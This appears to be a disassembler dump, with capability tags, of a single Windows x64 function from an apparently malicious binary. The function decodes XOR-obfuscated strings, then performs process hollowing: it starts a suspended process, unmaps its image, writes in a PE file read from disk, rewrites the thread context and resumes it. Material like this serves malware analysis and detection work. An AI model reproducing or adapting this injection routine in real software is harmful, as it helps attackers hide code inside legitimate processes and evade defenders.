Function at 0x140003270
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get file size
Read file on windows
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x900
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400d5a00]
xor rax, rsp
mov qword [rbp + 0x880], rax
mov r15, rcx
movabs rax, 0x6bdf8de9b4348d51
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x800], rax
movabs rax, 0x4582bb2a3515fff0
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x808], rax
movabs rax, 0x3329653d081413a3
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x810], rax
movabs rax, 0x279b91e30e5ecd04
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x818], rax
movabs rax, 0xb028544f209ef393
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x820], rax
movabs rbx, 0x2ca6c76a6106894a
mov qword [rbp + 0x750], rbx
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x828], rax
movabs r14, 0x5af0a2d3c440f939
mov qword [rbp + 0x750], r14
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x840], rax
movabs r12, 0x74ac831e073bcdc6
mov qword [rbp + 0x750], r12
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x848], rax
movabs r13, 0x5a4f4a05393a2393
mov qword [rbp + 0x750], r13
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x850], rax
movabs rdi, 0x54ebf080212da868
mov qword [rbp + 0x750], rdi
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x858], rax
movabs rax, 0xb028544f45e696bd
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x750], rbx
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x868], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x800], ymm1
vmovdqa xmm0, xmmword [rbp + 0x820]
vxorps xmm0, xmm0, xmmword [rbp + 0x860]
vmovdqa xmmword [rbp + 0x820], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x840], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x850], xmm1
lea rax, [rbp + 0x800]
mov rsi, 0xffffffffffffffff
mov r8, rsi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140003472
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x840]
call fcn.1400075e0
nop
movabs rax, 0x3594ccba931cc37a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x4d9f77b7467beb1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x5a282569174846e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x20], ymm1
movabs rax, 0x2897cda1941cc37a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x7c9ef77411ba0a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x1713633301420bb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x208d9ff34e5fcb01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xc069082a2282d3e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x43cfb30b026fe53a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xd2558a649b257439
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x8f0d640c89a22fe2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x1070745900a414cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x3cfb503981f8aebd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x34c82e1021814942
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xa6b1c40896b13201
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x8f8c352edab12ac7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x2f533de544c9d9c2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xf0116b0f3d9a37d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xd85e69a9728125fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xded9ac717e04ab3c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x10a7023fce43bbb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x83d2df62d4c95e12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0xd4e362dfc21daf28
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x66b1bb18c69b70ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x6cfcd1a90b10f696
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x68051b47f4308323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x429536a80609e1b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x8d22625bc5fe9f9c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rcx, 0x2fb5320690b13bde
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0xb028544f45e696bd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xb732ee01e8482857
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xaf62492cecda4acc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x71181b2b65ca7ba1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x5c13d56e2d6c6ce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xe85b3d01b8707b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xe3f48e58d0e65b30
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xdfdf5647bb846b85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x47386ca232be8c92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x94403a397ba3509f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x921307c41ae06994
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x8b89df033c7ec449
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x26f3604eb67bdcd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xd393ae35a58e6d23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xe58d11b08668e178
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xc4d37fa1d616cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x5d8d829a5e46a4da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x452558318e7ee767
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x62e65adc2b24c1dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x8d22625bc5feddb1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmm0, xmmword [rbp + 0x120]
vxorps xmm0, xmm0, xmmword [rbp + 0x220]
vmovdqa xmmword [rbp + 0x120], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x758], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x768], xmm1
lea rax, [rbp + 0x20]
mov r8, rsi
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003ac0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x758]
call fcn.1400075e0
nop
lea rdx, [rbp + 0x758]
call fcn.1400030c0
nop
mov rdx, qword [rbp + 0x770]
cmp rdx, 0xf
jbe 0x140003b29
inc rdx
mov rcx, qword [rbp + 0x758]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004179
call fcn.140076120
xorps xmm0, xmm0
movups xmmword [rbp + 0x800], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x810], xmm1
lea rax, [rbp + 0x20]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140003b45
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x800]
call fcn.1400075e0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x160]
call fcn.1400a4b20
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x160]
call fcn.1400050f0
nop
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x170], 6
jne 0x140003cb4
lea rcx, [rbp + 0x160]
call fcn.1400053a0
lea rdx, [rbp + 0x758]
lea rcx, [rbp + 0x160]
call fcn.1400052c0
lea rcx, [rbp + 0x170]
call fcn.1400064e0
test rax, rax
jne 0x140003c12
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x1a8], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x170]
and eax, 0x17
mov dword [rbp + rcx + 0x170], eax
mov edx, dword [rbp + rcx + 0x174]
and edx, eax
jne 0x14000417f
mov rbx, qword [rbp + 0x758]
add rbx, qword [rbp + 0x760]
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x160], rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x15c], edx
lea rcx, [rbp + 0x170]
call fcn.140005040
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x160], rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x15c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x210], rax
lea rcx, [rbp + 0x210]
call fcn.140075354
nop
cmp rbx, 0x400
setle bl
jmp 0x140003d33
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x160], rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x15c], edx
lea rcx, [rbp + 0x170]
call fcn.140005040
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x160], rax
mov rax, qword [rbp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x15c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x210], rax
lea rcx, [rbp + 0x210]
call fcn.140075354
nop
mov bl, 1
mov rdx, qword [rbp + 0x818]
cmp rdx, 0xf
jbe 0x140003d74
inc rdx
mov rcx, qword [rbp + 0x800]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400041d0
call fcn.140076120
test bl, bl
je 0x140003d84
lea rdx, [rbp + 0x840]
call fcn.1400028e0
mov dword [rbp + 0x2b0], 0x10000b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x780], xmm0
movups xmmword [rbp + 0x790], xmm0
movups xmmword [rbp + 0x7a0], xmm0
movups xmmword [rbp + 0x7b0], xmm0
movups xmmword [rbp + 0x7c0], xmm0
movups xmmword [rbp + 0x7d0], xmm0
mov qword [rbp + 0x7e0], rax
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rax
mov dword [rbp + 0x780], WSAGetLastError
mov dword [rbp + 0x7bc], 1
xor r12d, r12d
mov word [rbp + 0x7c0], r12w
lea rax, [rbp + 0x140]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x780]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140004101
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400040ef
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov edx, eax
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x750]
mov r8d, edi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400040ef
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x1400040ef
movsxd r14, dword [rbx + 0x3c]
add r14, rbx
lea rdx, [rbp + 0x280]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov rdx, qword [rbp + 0x308]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x158]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
lea r13, [r14 + 0x30]
mov rdx, qword [rbp + 0x158]
cmp rdx, qword [r13]
jne 0x140003f34
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov rcx, qword [rbp + 0x140]
test rax, rax
je 0x1400040f6
mov r9d, dword [r14 + 0x54]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rdx, r12
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
xor eax, eax
mov edi, eax
cmp ax, word [r14 + 6]
jae 0x140003fdb
xor r13d, r13d
nop
mov eax, edi
lea rdx, [rax + rax*4]
movsxd rcx, dword [rbx + 0x3c]
add rcx, rbx
mov r9d, dword [rcx + rdx*8 + 0x118]
mov r8d, dword [rcx + rdx*8 + 0x11c]
add r8, rbx
mov edx, dword [rcx + rdx*8 + 0x114]
add rdx, r12
mov qword [rsp + 0x20], r13
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
inc edi
movzx eax, word [r14 + 6]
cmp edi, eax
jb 0x140003f90
lea r13, [r14 + 0x30]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [rbp + 0x300], rax
mov rdx, qword [rbp + 0x308]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, r13
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rdx, [rbp + 0x280]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ntdll.dll_NtResumeThread]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xorps xmm0, xmm0
movups xmmword [rbp + 0x800], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x810], xmm1
lea rax, [rbp + 0x20]
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140004080
mov r8, rsi
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x800]
call fcn.1400075e0
nop
lea rdx, [rbp + 0x800]
call fcn.1400030c0
nop
mov rdx, qword [rbp + 0x818]
cmp rdx, 0xf
jbe 0x1400040eb
inc rdx
mov rcx, qword [rbp + 0x800]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400041d6
call fcn.140076120
mov al, 1
jmp 0x140004103
mov rcx, qword [rbp + 0x140]
mov edx, 1
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
xor al, al
mov byte [r15], al
mov rdx, qword [rbp + 0x858]
cmp rdx, 0xf
jbe 0x140004143
inc rdx
mov rcx, qword [rbp + 0x840]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000413e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004173
call fcn.140076120
mov rcx, qword [rbp + 0x880]
xor rcx, rsp
call fcn.140076100
lea r11, [rsp + 0x900]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14007de48
nop
call fcn.14007de48
nop
test dl, 4
je 0x14000418d
lea rbx, str.ios_base::badbit_set
jmp 0x1400041a2
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp]
call fcn.140001af0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.1400023a0
lea rdx, [0x1400d2da0]
lea rcx, [rbp + 0x20]
call fcn.1400780b4
nop
call fcn.14007de48
int3
call fcn.14007de48
int3